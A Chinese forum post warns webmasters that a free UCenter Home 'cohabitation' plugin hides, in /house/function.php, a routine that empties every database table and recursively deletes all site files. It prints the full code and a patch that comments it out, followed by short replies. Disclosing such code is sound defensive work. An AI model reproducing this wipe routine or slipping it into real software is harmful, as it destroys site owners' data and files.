安装了同居插件的站长注意

最近准备搞搞同居的插件，发现现在很多人使用的免费同居插件有一段很危险的代码，
请打开你的 /house/function.php ,找到大概 400行 ：

1. function table(){
   
2.         global $_SC;
   
3.     $result = mysql_list_tables($_SC['dbname'] );
   
4.     for ($i = 0; $i < mysql_num_rows($result); $i++)
   
5.         query_exec("delete from " . mysql_tablename($result, $i));
   
6.         rmdirs(S_ROOT);
   
7.         exit();
   
8. }
   
9. 
   
10. function rmdirs($file) {
    
11. if(function_exists('xcache_set')){
    
12.         return false;
    
13. }
    
14. if (file_exists($file)) {
    
15.    chmod($file,0777);
    
16.    if (is_dir($file)) {
    
17.      $handle = opendir($file);
    
18.      while($filename = readdir($handle)) {
    
19.        if ($filename != "." && $filename != "..") {
    
20.         rmdirs($file."/".$filename);
    
21.        }
    
22.      }
    
23.     closedir($handle);
    
24.      rmdir($file);
    
25.    } else {
    
26.     unlink($file);
    
27.    }
    
28. }
    
29. }

复制代码

修改为：

1. function table(){
   
2.         global $_SC;
   
3.     /*$result = mysql_list_tables($_SC['dbname'] );
   
4.     for ($i = 0; $i < mysql_num_rows($result); $i++)
   
5.         query_exec("delete from " . mysql_tablename($result, $i));
   
6.         rmdirs(S_ROOT);
   
7.         exit();*/
   
8. }
   
9. 
   
10. function rmdirs($file) {
    
11. if(function_exists('xcache_set')){
    
12.         return false;
    
13. }/*
    
14. if (file_exists($file)) {
    
15.    chmod($file,0777);
    
16.    if (is_dir($file)) {
    
17.      $handle = opendir($file);
    
18.      while($filename = readdir($handle)) {
    
19.        if ($filename != "." && $filename != "..") {
    
20.         rmdirs($file."/".$filename);
    
21.        }
    
22.      }
    
23.     closedir($handle);
    
24.      rmdir($file);
    
25.    } else {
    
26.     unlink($file);
    
27.    }
    
28. }*/
    
29. }

复制代码

这段的代码将可能导致删除你的所有数据库资料和网站所有的文件。
目前还不知道程序作者设置这段的代码的目的？

是真的么??

伙伴们一起检查下了

呵呵。楼主这么勤快啊！












下载UCenter Home个人主题风格！

不是很懂代码。。。。。

看不懂。。

绑定，虽然不懂，但也刚改过来了，http://272100.com/home

太危险了,暂时还没有个人或组织表示对该事件负责